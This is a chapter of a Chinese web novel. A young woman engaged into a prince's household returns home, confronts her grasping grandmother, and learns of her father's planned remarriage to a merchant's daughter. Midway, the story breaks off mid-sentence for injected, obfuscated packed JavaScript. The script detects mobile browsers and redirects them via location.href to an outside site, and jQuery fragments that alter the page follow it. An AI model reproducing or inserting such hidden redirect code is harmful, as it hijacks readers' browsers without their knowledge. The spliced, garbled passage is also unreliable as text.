棠妙卿在庆王府小住数日,这日辞别了王妃、荣康公主等人,萧明德亲自护送着车架回了棠府。
萧明德也不多待,阖家上下送他离开,太阳下了山,已经是掌灯时分。
院子里,桃柯长长地吐了一口气,笑道:“可算是回来了,王府里再好,也不如咱们这一亩三分地自在。”
佩弦进了棠家,不过左右张望几眼,就见棠家屋子紧凑,只怕是不够住,呲哒她:“你也是个操心的命。王府里镶金砌玉器你不稀罕,非要在这挤着。”
“你赶紧回屋歇着去吧。”棠妙卿换了件轻便的家常褙子,对桃柯道,“伤筋动骨一百天,佩弦、桃叶替你当值,你可得重谢她两位才是!”
佩弦在一旁笑着道:“可不敢的,桃柯为了护着姑娘,脑袋上生生挨了一下子。若是再让她掏出体己谢我二人,只怕不止是头痛,心头肉都要痛了!”
这话说得俏皮,众人笑成一团,打量王府里过来的大丫头。
棠妙卿带着笑意进了正房,便见大嫂徐蕙、大哥棠安正俱是一脸无奈,在屋中干坐着。
棠老夫人正指挥着丫头们,将棠妙卿从王府带回的箱笼一一打开,里头凡是值钱的、新鲜的物什,都往她自己屋里搬去。
“哎呦,我的好孙女儿回来了!你可真是吓死我了!”棠老夫人见她进来,忙起身拉过她的手,笑地眼睛眯成了一条缝,“大难不死必有后福,我就说你是个有福气的。”
徐蕙在旁边暗暗冷笑,这么大的人了,还不会说话!
“大难不死”,只怕你孙女心里想着让你去死一死了!
不说关心孙女的安危,不问问她在王府的处境,人还没有进家门呢,就忙着打听带什么回来,东西先划拉到自己屋里去了。
棠妙卿皱眉,一脸不悦,她挣开手:“祖母费心了。”她转头问珍珠,“我的东西,你们要搬到哪去?”
对着老夫人屋里的人,她从来不是好说话的性子。
不摊开了说清楚,棠老夫人能把你吸得一干二净。
珍珠低着头,站在老夫人身后,不敢吭声。
棠安正虽是家中长子,性情远不如棠妙卿果决。
他心中叹气,老的倚老卖老,小的也不是省油的灯!
他劝道:“祖母乏了,先回房去歇着吧。妙妙你也累了,明儿再收拾归置这些箱笼。”
棠妙卿自然知道他是和稀泥。
兄妹之间,这时候你摆出中立的架势来,可不就是偏帮着老夫人?
棠妙卿看向棠老夫人,声音淡淡的:“一件不落地给我放回我屋里去。祖母,别让我说出难听的话来,大家脸上都不好看。”
实在是厌恶极了棠老夫人,脸上的嫌恶,连遮掩都不带遮掩的。
棠老夫人在棠妙卿这里是吃过苦头,往日给儿子棠文怀告状,火上浇油要拿捏亲孙女。如今她还是在棠文怀跟前嘀嘀咕咕,可却不敢太过分了。
棠老夫人堆着笑,老脸上褶子都挤到一处:“好好好,都听你的。我这不是心疼你路上颠簸,想着先替你收拾收拾……”
她让丫头把东西又放回箱笼里,嘴里还念叨着:“这孩子,跟祖母还见外。”
从来不知道棠老夫人还有唾面自干的本事,棠妙卿心里厌烦,理都不理。
见棠老夫人回屋了,棠妙卿对着徐蕙笑笑:“嫂嫂,怎么不见湉湉?这么早就睡下了?”
徐蕙上前,握住她的手,上下打量:“白日里不敢让她睡,睏得五迷三道,眼皮子都睁不开了,这会儿早睡沉了。”仔细看棠妙卿的脸,“脸上的伤倒是不大显了,还疼不疼?还有别处伤着没有?”
“都好了,我没大事儿。倒是桃柯为了护住我,伤了头。”
“这几日家里都担心得够呛,”徐蕙眼眶有些泛红,“你大哥夜里也睡不踏实,你若是出了事,我们怎么向婆母交代……”
如今棠妙卿的周遭都是好人。说的话好听,办的事好看,不想得罪了她,毕竟是未来的王妃不是?
正说着话,只听得一阵急促的脚步声,棠安吉风风火火进来了,围着她转了一圈:“总算是回来了!我还担心你呢,回来就好,回来就好。”拽着棠妙卿坐下,“还是在家待着好,明儿我带你去桐阴古寺,散散心。”
棠妙卿有些好奇:“你去寺里做什么,又要打水去?”
“我在寺里给你许愿了,自然是要去还愿的。”棠安吉理所当然地说。
“你自己去就好了,我近来忙得很,实在是抽不开身。”
孪生兄妹说着话,棠妙卿瞥见徐蕙频频给棠安正使眼色,不由笑道:“嫂嫂,你眼珠儿都要掉出来了,有话直说便是。你又不是不知道,大哥闷葫芦的性子。”
棠安正一脸为难:“早晚你也是要知道的,这两日会有人上门保媒,你俩在家待着,别到处跑了。”
棠妙卿眼睛一亮,笑起来:“是给安吉说亲的?人家要相看他?是哪家的姑娘?”
棠安正硬着头皮道:“不是安吉,是给爹保媒的。”
棠妙卿的笑容僵在脸上,随即低头甩了甩手中的帕子,若无其事:“娘这才去了半年,够快的。”
话音儿里的嘲讽,任谁都能听出来。
棠安正一听她说话这口气就头疼:“你俩懂事儿些。到时候,别当着外人的面惹爹生气。”
棠妙卿抬眼看他,笑一笑:“这跟我有什么干系?”
也不问是谁家的娘子,真的是一点都不关心的。
棠安正叹气,絮絮叨叨:“别任性了,李家娘子若是来了,你不要给人家脸色看。”
这李家是江南的皇商,原本家资巨万,如今领着宫里的钱粮,采办各处的杂料。
虽说是皇商,当家的李金瑞却是个不谙世事的,全凭着祖父的旧日脸面在户部挂个虚名,支领钱粮,余下的事都是伙计老家人打理。
李家有兄弟六房,六房分这一份钱粮,李金瑞拿到手就少了很多。这回他借着到户部销算旧账的由头,在京城买了处宅子。
恰好他妹子李氏与前夫和离归家,李金瑞的妻子嫌李氏在家碍眼,就撺掇李金瑞劝妹子改嫁。
李氏生得花容月貌,性情倒也爽利。李金瑞说是妹妹仰慕棠文怀的学问人品
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822856|186233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不过是瞧上庆王府的势头,想把她嫁进棠家,占个便宜罢了!
棠文怀先前还有些顾虑,娶个商户女子,日后难不成让萧明德喊岳母?
棠老夫人眼热李娘子的嫁妆,李家么,金银堆成山,她日日在棠文怀跟前念叨,怂恿棠文怀,棠文怀还真的走心了。
棠安正叹了口气:“娘已经去了,爹身边总得有人照顾。妙妙,你得体谅体谅爹的难处。”
棠妙卿心内不屑,他身边有赵姨娘、王姨娘了,也不缺人伺候。
男人果然都是一路货色。
她淡淡笑道:“娘在时,大哥你可没说过体谅她的不容易!都说了这事与我无干,怎么着,你还想让我认这么一门亲去?”
棠安正脸色都变了:“我知道你一直为娘的事耿耿于怀。爹是做得不周全,可娘身子骨本就弱,你也该看开些,日子总是要往前过。”
棠妙卿抬起头,看着屋角的烛火,忽明忽暗的,她忍着泪意:“是啊,日子总要向前看。一大家子,如今仰仗着我水涨船高,你们的日子自然是越过越好。”
她冷冷一笑,“为了这个家,娘付出了大半生,她什么都没有得到。大哥,别再拿娘的事儿招惹我,我是一点都容不下的。”
棠安正身为男人,本就不耐烦家长里短。若是往常,他断不会惯着棠妙卿使小性子,这般得理不饶人的。
可她是未来的世子妃,一家老小都指着她呢,棠安正也不想招惹。
徐蕙忙笑着打圆场:“咱们不说这戳心窝子的话。都是一家子骨肉,和和气气的才好。”
婆婆陆氏周年还没过,棠文怀这桩亲事也不过是先定下来,只等着孝期一满,就要迎新人进门了!
棠文怀有庆王府这棵大树倚靠,自然不必再为官位升迁犯愁,所求的便是一个安分守己、不生事端的贤内助,李氏手中嫁妆丰厚,真真是再合适不过了。
……
这日,棠文怀早早下了值回到府中。
李家兄妹由媒人带着,后半晌便到了棠家。
媒婆一张嘴跟抹了蜜似的,进门就夸:“棠大人儿女双全,真是好福气!李家娘子知书达礼,模样儿又是上等的,这桩亲事当真是天作之合!”
棠文怀负手而立心下颇为满意。
李氏三十出头,却生得美貌,举止从容,也有几分大家气度。
她因成婚多年无所出,不满夫家一屋子的姬妾,这才和离归家。
棠老夫人见李娘子不惧外人,想来商户家的女儿,到底泼辣些。她内心便不大喜欢,到底搁不住对李娘子嫁妆的心热。
双方你来我往,气氛倒是融洽。
临走时,李金瑞笑得见牙不见眼,这事八成就成了。
棠文怀想着,这桩亲事成了,怎么也要跟庆王回禀一声。
虽说李家是皇商,地位不高,可胜在家世清白,想来王爷不会多说什么。
圣上荒唐,听信郭海正与方士的谗言,又想着炼制长生不老丹,搞得朝野上下怨声载道。
萧琮屡次劝谏,正为了这事焦头烂额,哪有闲心听棠文怀续弦的事?